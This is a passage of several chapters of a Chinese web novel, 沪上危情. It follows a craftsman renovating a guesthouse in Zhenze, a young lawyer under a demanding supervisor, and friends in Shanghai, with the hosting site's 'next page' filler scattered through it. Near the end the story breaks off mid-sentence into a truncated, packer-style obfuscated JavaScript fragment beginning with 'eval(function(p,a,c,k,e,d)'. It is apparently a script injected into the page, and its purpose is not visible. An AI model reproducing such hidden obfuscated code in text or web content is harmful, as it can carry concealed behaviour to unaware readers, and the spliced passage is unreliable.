“语棠,你认为重要的是教得正确,还是教得全面?” 她手指抵住下巴,眉头微蹙,视线凝视织机交错的丝线陷入思索。 见状,陆砚满意于对方的态度,却不想......之后迎来了四五分钟的沉默。 这、这也太干了吧! 哥们也没指望你来一次龙场悟道啊! 最后老师傅不得不自圆其说道: “咳咳,其实都不重要。要记住,你不是收徒弟,游客也不是拜师,教不教真功夫他们不在意的。只要拍照好看、能有个好的体验......你懂我在说什么吗?教不教本事无所谓,让他们觉得学到了本事很关键。” “陆哥,这有点......” “大胆说,有点什么?” “有点,不好。” 沈家有女初长成,终于看见沈语棠当面提不同意见了。 当然,陆砚并没有傲慢到‘自己一定比对面成熟,一定比对面正确’的程度,在对方陷入‘他怎么不说话,是不是生气了’的自我怀疑之前,立马说道: “我只是提供一个观点,语棠,咱们以后慢慢摸索哈。” 结束了每天四十分钟的模拟教学,陆砚没去一楼的‘大通铺’——原沈秀娥的房间摆了三张床——而是去外面转转。 手指滑动屏幕,‘酒文化研究所上海总部’久违冒出几条消息。 破吉他:一周的时间过得飞快,据说,周六的酒格外好喝。 陈禹:总不是喊我吧?算了,我帮你艾特。@我系统呢 我系统呢:我也想来,但是最近有亿点忙(流泪.jpg) 陈禹:阿乐不好意思问,还是你来打听吧。@墨斗先生 所以有时候,就该陈禹创业成功,因为他深谙生意的本质——帮忙。 所谓帮忙就是,人家有需求,你主动凑上来,事情成了,你的价值被认可,就得到了认可的通俗物——钱。 莫不小看了这点,看似废话的表述,其精髓在于‘有的放矢’,跟着需求走。 这波联动,同时满足了陆砚和阿乐两人的意图,不可谓不高明。 墨斗先生:体重多少斤了?@我系统呢 破吉他:......我想问的是这个? 陆砚知道,愿意聊天的朋友怎么都会沿着槽点聊下去,也会通过各种方式,不小心泄露你想打听的信息。 水群的时间一晃而过,十点半,外面的风混着土腥气吹得脖子有点冷,但男人还不打算回到那个没有隐私的空间—— 苏棠差不多要打来电话了,就像之前那样。 ...... 两个人睡在一张床上,交织的不仅是呼吸的起伏,还有从未如此清晰的、彼此渗透的日常。 在沈语棠眼中,房间的水泥地还是水泥地,桌旁立着缂丝架子,上面绷着未完成的活儿,除此之外,一切都在悄然发生—— 清晨她会在沈秀娥轻手轻脚却又无处躲藏的动静中意识到对方的忙碌,隔着一堵墙,听到陆师傅他们起身的脚步和低语。 在匆匆吃完早餐还没出门的时候,已经听见楼上的讨论和响动;中午回来,她和大家围坐一桌吃饭;晚上收工后,也常坐在一旁听他们聊天。 渐渐地,熟悉了张野的酒后笑话、冯小军的腼腆,当然,还有难以概述的陆砚。 偶尔一种陌生的融洽笼罩着,让她错觉自己是这集体中的一员,忍不住跟着生出几分干劲。 可又会在沈秀娥深夜翻账本算账、那熟悉的焦虑弥漫开的时候抽离,像从热闹的戏台下来,重新变回一个安静的旁观者。 她也不好形容自己的心情。 有些时刻,是投入的、忙碌的、被需要的;另一些时刻,却只觉得嘈杂,仿佛那些的热闹与自己无关。 她既渴望靠近,又害怕习惯;既心生期待,又不敢深信。 天光从窗口爬进来,照亮房间里的水泥地和书桌—— 陆师傅他们在这里已经大半个月了,再过差不多的时间,就是分别。 沈语棠睁开眼,新的一天如期而至。 ...... 太阳越升越高,照在三人身上,墙上的影子慢慢变短,又变长。 比预期慢了三天,但总归是进入装修第二阶段了。 这一阶段主要是给叙利亚战损风的房间做一些基础的修理,例如墙面找平、门窗换新等,事实上,之前就做过一部分——刷腻子。 或许每个人都有一次许愿的机会,小时候唱过,我是一个粉刷匠,长大居然成了真的。 当时以为,刷子是软的,涂料也是软的,手臂长期举过头顶也压根不累,小手轻轻一抖,整面墙便刷好了,真解压。 事实真的如此吗? 抽象的臆想,距离事实还是有段距离。 冯小军这几天最烦的便是这白白的腻子,太黏糊了刮不开,太用力了墙上留下刀痕。 高处要举着手,矮处要弯着腰,不管你怎么崩溃,墙面就矗在那,该抹的一厘米也少不了,该平整的,一个坑也要给它平了。 木楼梯传来脚步。 沈秀娥提着满满当当两个水壶上来,眼睛看着墙面,若无其事打听道: “陆师傅,咱们这些天下来,房间好像,跟图上面不一样呀。” 闻言,众人停手,动作同步、用肩膀擦了擦脸。 陆砚解释道:“沈姐,下周才装些东西慢慢出效果,现在是打基础呢。” “哦哦,是这样啊,你们忙、你们忙......一会有空的话,能不能帮忙把床腿补一下?” 害,原来饶了一圈就为个这啊。 该说不说,讲话效率很江湖。 “没问题哟,沈姐!” 第四十二章 假与真的边界 顾南乔有信心是一回事,真准备参与的时候,当然要拿出全力以赴的姿态—— 是以这几天,她成了律所最亮的那盏灯。 上午对接信托公司核查资金流向,下午和房地产评估师跑现场勘测烂尾楼现状,晚上抱着《城市房地产管理法》逐字抠条文的间隙,还要和快要吃不起饭的委托人跟进起诉进度。 之后等那个搞不清状况、只知道发泄情绪的王先生想明白、找过来的时候,就要一天对接三个案子了。 这些天连轴转得人疲惫,但是精神是好的。 就像用顶级配置的5090显卡跑了两年4399小游戏,如今终于切换到 3A大作的超高画质—— 那些被压抑的运算潜能在复杂案情驱动下全速运转,每个神经元都在兴奋地放电。 没有打压、没有刻意保护,拿到摩天大楼一小块拼图的她、在深夜的白板上画出资金链路图、看着那些交错的箭头突然连成闭环时,胸腔里涌动的不是疲惫,是久旱逢雨的酣畅。 这,才是她想要的战场。 ...... 午饭随着沈语棠的回来正好完成。 曾经陆砚还调侃她踩点回家,如今看来,更可能是沈秀娥踩点做饭。 “语棠,你不会是在师俭堂睡了一觉吧?” 她知道自己在被调侃,还是配合问:“陆哥,我没睡觉。” “那怎么回来比早上出去精神还好?上课不该掺瞌睡才对嘛?” 说到早上出门,不知是因为房间人多害羞还是怎么,现在她再没来帮忙换床单被套之类的。 倒是陆砚,经常能在大厅看到她边点头边吃早餐的模样。 “我不掺瞌睡的。” 陆砚嘿嘿一笑,话语早已准备好,“哦,那记错了,是我上你的课喜欢掺瞌睡。” 换个人肯定得伸手打闹一番,再不济也要口头反击,可她偏不这样,月蓝夹袄之上、柔柔笑着说: “我知道。” 这声音、神态,足以唤起九年义务教育在人心底留下的真善美。 玩笑遭到良心的反噬,疼得陆砚飙起浮夸的演技: “哇,你早就发现了呀!那还故意憋着不说,看我笑话是吧?” 嗯,把脏水泼回去就轻松多了。 老板娘端菜出来招呼众人开饭,老板娘女儿跑去帮忙添饭。 桌上堆了四菜一汤,虽然有点吃腻了,但想到都是一个人做出来的,就不得不感叹伙食之丰盛。 说起伙食之丰盛,那就不得不提起一些敏感话题了: “小军哥,最近是不是比较适应这里的环境了?” 剃了头的冯小军看着剃了头的陆砚,暗自腹诽沈秀娥肯定是拿自己练了手,才给对方剪得那么好—— 咦?这想法好像昨天已经感叹几遍了。 “是啊陆哥,我适应能力一向不错。” “还是太年轻,你没听出来,陆哥是说你长胖了?” 正如每个人都有愤怒开关一样,体重,就是冯小军内心柔软的地方,眼见陆砚被人诋毁、他当即不干了: “张哥,我一直都很尊敬你,但陆哥毕竟还在,不要挑拨离间、请你自重。” 张野想了想,眼睛一亮:“你自重,你每天都在重。” 这就是哥几个每天消磨时间的方式,然而长不长胖是发生在别人身上的事,陆砚要说的不是这个。 现在他们住在沈秀娥的房里,一楼主卧面积挺大,三张单人床放进来挤一挤倒是有点学生住宿的意思,但是......体脂挤压呼吸道就很磨人了。 “咳咳,语棠,你晚上有没有听到什么声音?” 闻言,沈语棠抱着碗把头快埋在里面。 陆砚哪肯就此放过,胳膊稍过去戳她。 桌对面两人也闭了麦,开始好奇到底是怎么个事。 “语棠啊不是我说你,那么秀气个小姑娘,怎么睡觉打呼磨牙放屁三件套全齐活了呢?” 她猛地把头抬起,眼睛瞪过来:“我没有!” 是的,脾气再好的女孩面对如此诋毁也不能沉住气。 “陆哥,真的假的?她......看起来不像啊。” “还是小军哥说得在理,我仔细想了想,确实不想语棠所为......那么,是谁呢?” 陆砚忍了几天,一想到后面还有二十来天要住在一起,顿时就泄了气—— 搬出去,搬来客厅睡! 在这之前,得问问沈语棠,隔着一堵墙,能不能听到声音。 桌上几个男人你看看我,我看看你。 起先冯小军兴致勃勃看向张野,他觉得,以张师傅常年洗头不用洗发水的邋遢形象,此行必是他所为。 就是奇了怪,跟他睡了那么久怎么没发现呢? 知人知面不知心,自己还是太嫩了,不如陆师傅明察秋毫。 然而下一刻,明察秋毫的目光就转投过来。 尤其一锤定音的是,沈语棠埋着脑袋不经意抬眼瞧了他一眼...... 冯小军人傻了,一股不祥的预感笼罩全身—— 这章没有结束,请点击下一页继续阅读!难道是我? 对,就是你! 陆砚带着礼貌的微笑扭头,再次眼神询问沈语棠,不料,得到的答案让人心头一凉: “陆哥......其实今天,我也有点困。” ...... 门前躺着薄薄的太阳,沾染了温度的风,变得慵懒。 下午时光总会让人想起曾经午睡的习惯,三个男人躺在床上,无精打采地度过这段本该午休、却谁也没真正睡着的时光。 陆砚率先从困顿中醒来,推开门往前台走,意外撞见了沈语棠的‘秘密’。 “沈老师,玩什么呢?” 是说都二十一世纪了,不可能有那么认真的人—— 每次中午沈语棠都在织机前坐着,原来也是在看手机啊! 这与他印象中那朴素得有些过分的姑娘略有出入,陆砚不由得好奇。 “在玩游戏呢。” 对方轻声回答。 动作没有藏着掖着,却总给人一种容易害羞的局促。 陆砚的目光落在那片粉嫩嫩的界面上: 卡通女孩穿着蓬蓬的白色纱裙,旁边堆着好几件没换的配饰,背景是飘着泡泡的甜品店。 忽然觉得可以睡个回笼觉了。 这种给角色换衣服的游戏,在他眼里实在没什么意思,可沈语棠却十分认真。 认真到,让陆砚觉得这个小姑娘变真切了些。 话说为什么,自己脑海中总觉得她是‘苦哈哈’的女孩子呢—— 话少,总安静跟在老板娘身后,偶尔看她在织机前发呆,眼神里也像藏着心事,就让人下意识觉得,这姑娘是被生活磨得没了年轻人的鲜活,满脑子都是缂丝和民宿的杂事。 可现在,她分明会为了一条游戏里的裙子该搭哪枚发卡而犹豫不决,就是再纯真美好不过的二十岁......十九岁小姑娘。 带着午睡后的恍惚,陆砚似乎抓住了什么—— 生活从来不屑于被贴上标签,人也绝非是按人设活着的提线木偶。 那些总在重复自我、永远符合预期的角色,不过是创作者的怠惰——是安全的框架,将人物画地为牢。 真正让我们相信其存在的,恰恰是那次突如其来的叛逆、那次不合时宜的温柔、那次毫无道理的坚持。 就像眼前这个沉迷于‘奇迹暖暖’的沈语棠。 是a突然做了b的选择,是c活出了d的锋芒。 正是这些不符合人设的瞬间,刺破了虚壳,打破了故事和生活的边界,让脑海中的形象成了血肉饱满的‘人’。 看了看手机,日历发来提示——杨老头的生日快到了。 对陆砚来说,这是一件不得不重视的事情。 “张哥,后天我要回趟上海,这里你帮忙顾着些。” “好,没问题。” “陆师傅要回上海啊?”老板娘赶巧推门走出来,目光落在这边,“你要是有空,能不能帮我把房间的窗台补一补?” “好,没问题。” 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第四十三章 有趣 像饕餮一样只进不出、逢人必讨得好处的剧情是没道理的,同时还要记住一点,‘努力就有收获’的‘收获’不一定是你想要的收获。 从王师傅那回来的路上,陆砚不得不咽下一个苦涩的事实,价格谈不下来。 事实也正该如此——一味想着占便宜,无异于对他人智力的蔑视。 他是卡在王师傅不耐烦送客时签的意向合同。 各流程环环相扣,时间容不得一拖再拖。 收拾好心情,陆砚准备明天回上海前把下阶段的物料订好,哦对了,该给陈禹打个电话。 关系不好的,先拉家常后说正事,关系好的则反过来。 “喂禹哥,砖的尺寸和样式我一会发你?” 电话那头答应后,他才话锋一转,问道:“你们......在外面玩了多久?回去了没?” 陈禹不自觉捂了下手机,回头瞥了一眼,颜朵还没醒。 阳台望出去,晨光安静地洒在照常晨练的老人身上,生活的齿轮一如既往地转动。 他说:“就三天,已经回来了。” 挂掉电话,带笑走回卧室,卧室大床上的女人睡意朦胧,扎好的头发有些散乱。 陈禹有个特别不政治正确的观点就是,你越爱一个人,就越可能走向背叛。 他不是不爱颜朵。 正因太爱,才在日益平淡的婚姻里挣扎,在面对必然消退的情意时选择出轨。 他需要通过新的激情来确认自己尚未老去、依然鲜活。 他在方霖那里捕捉青春的光晕,然后转身把那份能量带回自己的婚姻——这是一种必要的补给。 “老婆,早上吃什么?我下去买。” 颜朵伸了个懒腰,揉揉眼睛,气色在光线下显得不错: “早餐先不着急......时间来得及的话,要不先交个作业?” 听着妻子慵懒的声线,男人的心又一次雀跃起来,哪怕彼此早已熟悉得如同自己的身体,此时却像刚在一起那样觉得新鲜。 “我打小就是好学生,拖欠作业的事,办不来的。” 说完,轻轻掀开了被子,床垫‘吱呀’一声响。 ...... 从孙逸川的角度看过去,苏棠几乎是发着光的。 周一傍晚的同济校门人流如织,但他的视线总吸附在那个身影上—— 苏棠在和两个室友说笑,微微侧头整理耳边的碎发,落日余晖恰好勾勒清晰的颌线和新嫩的嘴唇。 没化妆,偏偏在人群中白得晃眼,一晃,就是三年。 如果未来的自己穿越回来说‘再过半年会和苏棠跳一支舞’,那么他肯定会从今天开始练习。 孙逸川接过递来的手机,看着近在咫尺的人,心跳开始加速。 “学弟,要拍得显腿长哦!” 声音清亮,带着一种天然的、不矫饰的活力。 男人屏住呼吸的镜头里,能看到其身上的松弛和耀眼,就像......青春这个词本身活了过来。 随后,他们度过了愉快的五个小时。 KTV包间里,‘好感’在狭小空间迅速被压缩为‘着迷’。 苏棠的歌声对比旁人夹着嗓子装可爱简直降维打击,唱R&B微哑的气声和转音抓得极准,听得心里发痒。 又会忽然加入一段即兴的、俏皮可爱的动作,反差惹得全场爆笑。 而且抛梗接梗的速度快得惊人。 有人切歌,她就捂住胸口做出一副被重伤的样子,拖着长音喊‘啊,为你我受冷风吹——’; 看到有人唱得投入,又会瞬间切换成严肃的综艺评委脸,用手指点着,‘音准是好的,但感情投入我只能给C+!’。 表情、动作,逸散着有趣的闪光。 他几乎是迫不及待地想要靠近——幸运的是,对方并不排斥,甚至有意迎合: 递上插好吸管的饮料,她会笑得眼睛弯弯说,‘谢谢学弟!你也太会照顾人了吧!’,那笑容甜得人心头一颤; 帮忙点她想唱的歌,会惊喜地看过来,‘哇,你居然记得!’,眼神亮晶晶的,充满了赞赏。 于是聚餐时,他坐到了苏棠对面。 席间,努力接住对方抛出的每一个话题,热切参与所有关于她的讨论——他感觉他们之间有一种独特的磁场。 笑着回应的每一个眼神,这足以让孙逸川心跳漏拍,耳朵发烧。 这绝对不是错觉。 苏棠接受了所有示好,回应了所有试探,难道不是默许和鼓励吗? 女孩至今没有过恋爱传闻,难道不是一种明确的等待吗? 回去路上,近乎微醺的喜悦把孙逸川淹没,觉得今晚的月色格外美,连带着回去的路上的风也变得温柔。 自己有机会,而且机会很大。 那个明亮、有趣、才华横溢的苏棠,对他,有点不一样。 ...... 出门跑了一圈建材市场,就连太阳都快回了家。 陆砚在车上就看到冯小军蹲在门前修补石板,脚边放着桶,手里拿着刮刀。 “小军哥,刮墙不过瘾,连地上的缺口也不放过?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他早早抬头,笑呵呵道:“害,我家祖训叫日行一善,别问我行一善是谁。” 小胖子逐渐反弹的身形之上,情绪也肉眼可见恢复了往日风采。 与情绪健康的人对话是件不费劲、还倒赚的事,陆砚积极调侃道: “老板娘许诺你什么好处了,惹得你善心大发。” “不至于不至于,反正没多会功夫,嘻嘻,张哥才惨,老板娘要他帮忙把大厅几个木头架子都翻修一遍。” 就像‘骑自行车逆行遇到交警的时候,旁边突然闯出一没带头盔的电动车’,他脸上出现了救赎般的光彩。 陆砚叹了口气,这沈秀娥...... 脑中把事情捋了捋,再次叹了口气。 ...... 回学校的网约车上,苏棠靠着车窗,脸上的笑容在窗外流动的霓虹光影下忽明忽暗。 室友累得靠在她肩上,还在兴奋地复盘: “棠棠,今天真是玩爽了!学弟绝对对你有意思......听说家里条件不错,你俩有戏哦!” 苏棠弯了弯嘴角,一贯轻快的语调应和: “重要的是,今天你生日,我超开心的。” 然而,只有她自己知道,玩闹过猛,眼皮沉得快要撑不住,昨晚追剧到凌晨的疲惫此刻全面反扑,像潮水没上来。 学弟那点心思,从一开始就看得清清楚楚。 他亮晶晶的、写满倾慕和渴望的眼睛,他小心翼翼又迫不及待地靠近,他所有自以为隐蔽的试探和示好...... 透明得像杯白开水。 干嘛拒绝? 谁不愿意有人把自己捧着呢? 但也就仅此而已了。 苏棠不知道为什么,不管男女,只要越是热情,越是毫无保留,她内心就越是平静,甚至生出一丝难以言说的厌倦。 那种全然的掌控感,让人乏味。 对方期待的回应,她给不了,也不想给。 整整一晚,她都在逼着自己燃烧,那种透支性的‘活泼开朗’和‘有趣’,像一场盛大却耗神的演出。 此刻,掌声散去,只剩下无尽的疲惫和空洞。 一块被拧干的海绵,就很像自己目前的状态。 她觉得类似的活动,接下来一个礼拜,都不想参加了。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第四十四章 双线操作 路灯将身影拉长,在同心湖边投下跳跃的轮廓。 苏棠边走,边用鞋尖轻踩地砖,每一步都伴着鞋跟脆响,像在给自己的声音打节拍。 手机屏幕亮着,停留在视频通话的界面,她音色有点暗,却对着那头的人喋喋不休: “陆砚,最近有个超好看的综艺你要不要了解一下?而且现在平台有一起观影功能,我可以和你一起看片……” 画面晃得厉害,没有白花花的腿,同济校园的夜景对陆砚来说,实在没什么看头。 小小的悬浮窗口下面,‘酒文化研究所上海总部’的群聊内刷着消息,主要还是他‘一不小心’说漏了明晚回来的消息。 破吉他:神特么接风要用消防水管给洗尘,点子陈,你真斑点狗啊,咱是洗车还是洗人?我怎么记得我开的是酒馆。 陈禹:冰火两重天的套餐都没有?先把陆砚这小子冲明白了,再灌酒,保证他服服帖帖的! 破吉他:火你个头,你那酒量除了煽风点火没别的作用了。 论双线操作的时候哪些能力是必须具备的? 抗干扰能力。 苏棠还在兴致勃勃地安利: “哎,没办法,综艺总归避免不了剧本,我们看个乐子就行,对不?” “是的,我觉得你这个角度很有道理。” 适当给出回复表示‘自己在听’后,顾南乔终于潜水现身。 我系统呢:你待几天? 额,问待几天...... 以对方的性格没有直接参与讨论,那有理由相信,大概就是有事走不开。 墨斗先生:两三天吧,咱们还是正事为主,能理解的。 “那要不要一起看看,口碑其实还不错的。” “好啊,有机会一起看。” “哎呀,也不枉费我一番口舌安利,要不要打赌,那里面肯定有你喜欢的......” 破吉他:是啊,茶余饭后的活动可以放放,陆砚总归跑不掉的,工作为重。 陈禹:1 我系统呢:没办法,群公告是我编的,你回苏州之前一定抽空过来。 犹豫之后的答复显得弥足珍贵,男人心里一暖。 这时,话筒传来不满的叫嚷: “陆砚!你到底有没有在听我说话!” “在想事情,别吵。” 小窗口里,苏棠的脸凑得极近,嘴巴撅得老高,眼看就要爆发,陆砚赶在前面开口: “苏棠,你想要什么礼物?明天去破吉他吗?我帮你带过来。” 情绪像呼吸一样排出体外,她当即阴转晴天,眼里盛了一泓秋水: “你要回来呀......礼物,是专门给我买的吗?” 陆砚瞬间把手机歪了一下,掩盖自己僵硬的表情——他必须承认,是不知道跟顾南乔选什么,才问的对面。 “当然是专门给你买的,你老师没教你,每一份礼物的心情是独一无二的吗?” 苏棠嘿嘿傻乐起来,说‘有心意就好啦’,然后又问:“那,你有没有练吉他啊?” “为什么要练吉他?” “我特意给你留着的!”她理直气壮,“你怎么能不练呢?” “...” 原来上次您在大气层啊! ...... 明晃晃的灯光把中君律师事务所的大楼映照得通亮,都市夜空之下,显目而冰冷。 32层的会议室内,顾南乔意识到: 每个人都会犯错,即便再精英的团队也是如此。 不然,她又怎会顺着人情漏洞,加入进来呢? 耗费十七个小时完成的报告,对方只用了三分钟便翻阅完毕,手指在平板屏幕轻轻划动,速度快得漫不经心。 像每个刚入行的新人,她脑海中第一时间闪过的念头是——对方真的专业吗? 也像每一个尚且生涩的后辈,最终选择沉默,等待评语。 会议室共四人,是二十五人复合型团队中的一个版块,此时,在多数打工人下班的四个小时后,开始第一次组内例会。 叶莉终于开口: “你花了力气搭建宏观框架,能看出有一定的整体视野。” 顾南乔没有接话,预感后面会有个‘但是’等着。 尽管目前还想不出自己哪里出了错,从对方的语气中可以确定,她搞砸了。 “但这些是人人该懂的基础,不该像炫耀才华似的塞进报告里。顾南乔,你还记得我们负责的是哪部分吗?” 话到此处,她竟有些紧张,紧张深处,颤动着兴奋: “是协助估值分析、制——” “是这里,对不对?” 叶莉的手指落在整个流程图中极小的一环,声音平稳,不容置疑: “准确地说,是这环中的某一块拼图。越是细微处,越要做得具体、流程清晰……你的细节在哪里?” “在明天的报告里。” 叶莉转了下座椅,正面朝她。 两人明明坐在同款椅子上,却觉得对方是俯视自己的。 “你昨天就熬到很晚吧?睡了几小时?” “……四个小时。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“整理出合格的细节,按你的能力至少再投入二十个小时。明天你做得完?” “我可以试。” “别试了,”叶莉语气淡而果断,“你不适合做律师。” ...... 民宿门口漏了点屋内暖黄灯光,张野冯小军吹牛打屁的声音将夜色的清冷吓跑。 两人搬来板凳坐门口,陆砚一只脚踩在冯小军白天补过的石板上,手指轻轻拨动琴弦,弹响断续的音符。 “语棠,没有人天生就适合做某件事,你看我现在吉他弹的,就和你的教学一样生疏。” 沈语棠抱着膝盖,轻轻摇头:“陆哥,你弹得很好。” 这世上有人是性情刚烈的野马,容不得半点委屈;也有人是把头埋进沙地的鸵鸟,对他人充耳不闻。 可偏偏就在这样一个容易极端的世界里,长出沈语棠这样的姑娘—— 十分钟前陆砚还毫不客气地挑人讲课的不妥,可人家呢?以德报怨! ......再也不对她说重话了! “行,冲这句话,我以后一定好好练。现在......你将就听一会儿。” 调了调弦,他不再看谱,指尖流淌简单干净的和弦,低声哼唱: “在我的怀里/在你的眼里/那里春风沉醉/那里绿草如茵/月光把爱恋/洒满了湖面/两个人的篝火/照亮整个夜晚......” 歌声飘忽,并不完美,却意外贴合这个静谧的夜晚。 唱着唱着,眼前夜色荡漾起来,幻化出一个穿着白裙的身影,抱着吉他坐在身旁,轻声唱着和声。 他蓦然想起,最初是因为她说想听,自己才学的。 那时手指比现在笨拙得多,但半点不觉得累,每个和弦都揣着滚烫的心意。 原来不知不觉间,一个人早已将另一种人生嵌入生命。 时光流逝,她北上奔赴更辽阔的天地,某些习惯、某些旋律,却像刻进骨血里的印记,摆脱不掉。 可是,真的需要摆脱吗? 他不再深想,只是继续轻声唱着: “多少年以后/如云般游走/那变换的脚步/让我们难牵手/这一生一世/有多少你我/被吞没在月光如水的夜里……” 歌声渐歇,最后一个音符消散在微凉的空气中。 头顶的星星很亮,清冷地缀在天幕上。 ......北京的夜晚,应该也有同样的星光吧。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第四十五章 社交 选礼物这件事可轻可重,它本该是心意的传达,却总被社交礼仪裹挟成不得不完成的仪式,附带诸多无形的要求: 对方喜好如何、是否显得有诚意、会不会带来压力、该实用还是精致…… 种种考量,常使它变成一桩麻烦。 当然,对熟人其实没必要想这么多,他自诩匠人,只是习惯追求一个精益求精的态度。 “王师傅,你们这,送什么物件给姑娘?” “咋?看上我们村哪个人家了?” 清晨的风撞进门框,王师傅笑眯眯侧过头。 “您就甭藏着掖着了,看看时候来不来得及,我借工具做一个。” 下午回上海,早起左右无事,不知怎么就踱到了这里。 此时的王师傅比谈价钱时亲和得多: “送女娃娃,就送挂饰。缠上我们这的彩蚕丝——这叫‘牵挂’。”他扬扬下巴,“丝我去拿,木头你自己挑。” 三言两语之间,陆砚心里已有了数: 挂饰嘛,一块木头、一根线,线穿过去,便成了型。 至于缠丝,大概就如服饰上的标牌,是震泽独的特色标志吧。 选了块素木,脑子过了一遍流程,开始动手。 刻刀打形,轻推慢琢,长四指宽、厚两指的乌篷船二十分钟就出轮廓。 打磨换砂纸的时候,陆砚向其请教蚕丝的缠绕法门,最后穿丝、贴小蚕茧。 东西做好,上午的光景差不多就溜走了。 还需要买什么?他一边收拾一边想。 杨老头的好说,烟酒就行,再给师娘带点特产;陈禹阿乐之流,在火车站随手买些也无妨;只是顾南乔和苏棠,毫无头绪……随缘吧。 走过成片的蔬菜大棚,小路渐渐收窄,田埂漫到脚边,民宿就在眼前。 他回来时,正好赶上午饭。 厅内光线温润,长桌摆了几道家常菜,两人已坐在桌边,沈秀娥掀开帘子、端一盘清炒甜白菜走来。 沈语棠安静摆放碗筷,听见脚步声,抬头朝他轻轻一笑。 “陆哥,正好吃饭喏!” 得,现在轮到对方调侃了。 陆砚点头坐下,开口道:“张哥,小军,下午开始你们每天做满四小时就休息,不用赶工。我两天就回。” “行啊,听你的。” 他说话时,眼角留意着沈秀娥的反应。 这几日,她没少以‘顺便’为由让两人帮忙做些杂事——搬货、修家具,甚至帮她的朋友换灯泡。 陆砚心中略有微词,言已至此,不知道老板娘听进去了几分。 饭后,日头尚温,他不再多留,径直出门发动车子。 后视镜里,沈语棠站在门口挥手,身影渐渐缩小,最终消失。 窄路、田埂、苏州的一幕幕从心头划过、翻篇。 他没有忘记自己为何离开上海,甚至,就连准备礼物的过程,也因想着某个人而泛起一丝甜意。 若有机会......想再见她一面。 ...... 遭受打击的本质不是期待落空、努力白费,而是‘内心稳定’遭到破坏。 你不会因为‘出门捡一千万’的期待落空而受到打击,因为你没有在这件事上压上自己系统性的判断,所以失望也不会影响内心稳定。 从本质上说,顾南乔当然遭受了打击。 可她真心觉得,这点事不痛不痒,远远比不上某个恶心的人顶着那八字眉、每天雷打不动过来‘打招呼’,来得受打击。 最近先科也在组建团队做大案,张羌一举成了资深律师的行伍—— 相当于把她批得一文不值的叶莉。 还有比这更让人受打击、又更激励人奋斗的事吗? 何况这次组会结束叶莉把她留了下来,要求每天下班后,去找她汇报进程——明晃晃地辅导功课,有什么理由不努力呢? 似乎,又过上了带着奶嘴工作的生活,不过这次的监护人稍微严格了些。 正如对方所说,接下来她要收了展示羽毛的心思,踏踏实实地,把那些死板的琐碎细节处理好,争取合格度过接下来的跨组协调会和评估机构对接。 “顾律师,忙呢?” 回头,是隔壁位的女同事,姓李还是赵来着? 无所谓,反正不指望公司的人际关系。 顾南乔礼貌问到:“有事吗?” “额没什么。” “有事说事。” “算了算了,你忙......你忙。” 看着那个矫情女,忍住揉眉心的冲动,微笑点头。 有时候,真不是她不好相处,而是随便聊几句能把自己气死! ...... 从概率学上讲,如果两个人在时间不同步的情况下,胡乱漫步于偌大的同济校园,他们相遇的几率将无限趋近于零。 所以别总埋怨缘分太浅,有时候,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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暮色渐合,路灯次第亮起,她站在边上,借着橱窗的倒影整理了下头发,然后在等车的间隙里拿出手机,飞快地敲下一行消息—— 再睡五分钟:陆砚我出发了,你到了吗?要是让你等,那我怎么好意思啊! 墨斗先生:我正以198千米每小时的速度往小酒馆赶,中国速度,没什么不好意思的。 苏棠对手机笑了笑,继续打字。 再睡五分钟:别坐反方向了。 墨斗先生:猜错了,我坐的不是公交车也不是地铁! 第四十六章 心要野 “现在物价这么离谱了?” 听到从火车站到‘破吉他’打车竟要一百五十块,陆砚毫不犹豫转身走向地铁站,背着半旧旅行包混入下班人潮,像一滴水融入夜的河流。 然而河流里全是游不动的鱼。 每隔一段时间在晚高峰坐地铁,就会被大城市特色化的出行场面震撼到—— 躯壳把魂留在了白天、一股脑密集在车厢,站着、靠着、睡着、醒着,皆状若麻木,却总能在到站时、无声地挤到门口下去。 出站时,地铁外的上海正渐次点亮。 霓虹流淌,高楼次第生光,与他刚离开的震泽镇截然不同: 小镇的夜是静谧的,零星笑语就能划破沉寂,显得格外热络; 而上海的夜披着帷幕,帷幕之下,蓄势待发的节目轮番上演。 对陆砚来说,这番景象并未激起太多兴致,更多感到的是种疏离。 过去几年夜晚多半交付林晚声,分手后的一年,则全部献给了工作,再后来…… 如此评判,或许震泽那种平淡如水的夜晚,才真正适合自己。 怎么像活在现代的古代人...... 古代人好啊,没有手机但有概率娶几个老婆...... 摇摇头不再细想,脚步不由自主地慢下来。 目的地的灯牌在巷口温暖地亮着,这次没有‘爱情VS友情’的立牌海报,还未推门,一阵热烈欢快的吉他声和歌声已经破门而出。 掀开鸭蛋青门帘,老式吊灯、斑驳墙面,越过胡桃木长桌、第一眼就和唱台的苏棠对上,就像在老洋房那会,对方总第一个发现他进门。 她的笑容瞬间变得更明亮,歌声未停,朝这边飞快眨了下眼: “我想为你唱一首快乐的歌/一首让你忘了所有悲伤的歌/我们漂泊在那平庸之海/不管变成钻石或者成为尘埃......” 女孩抱着吉他,灯光勾勒,脚踩节拍,发丝随着节奏轻轻跃动,歌声里带着不管不顾的洒脱和力量。 空间蔓延微醺而兴奋的气息。 明明脸颊的婴儿肥还未褪掉,已经能让台下的人跟着节奏点头、晃动。 穿背带裤跑来实习的小丫头真起范了...... 陆砚靠过来默默欣赏,三五步的距离,苏棠唱道: “是谁在心里面**了那么远/决定去穿越孤独的国境线/谁的眼睛看穿了那无限虚空/谁还不是这样活在现在/就这样/随便吧/别让眼泪掉下来/就这样/随便吧/嘲笑我们的孤独吧/暂时让我们忘记所有悲伤......” 确实是一首快乐的、让人忘了悲伤的歌。 一曲终了,轻轻鼓掌。 “哇!真的唱到我心里去了!”男人笑着说。 “哼,去你心里我有的是力气和手段。” 年轻人,你讲话真的很奇怪! 接着,放下吉他、举起手机,屏幕亮出收款码,眼神狡黠:“扫码可以打赏!” 陆砚秒懂,对方还记仇他们初次见面的事。 熟悉的读者都知道,他是个从一而终的人,那时候犹豫了会没打赏,这次同样不会! 隔了两步距离,笑着伸出手,手指带着友谊穿过‘时间之海’: “网上聊那么久终于线下面基了,小姐姐比镜头里耐看啊。” 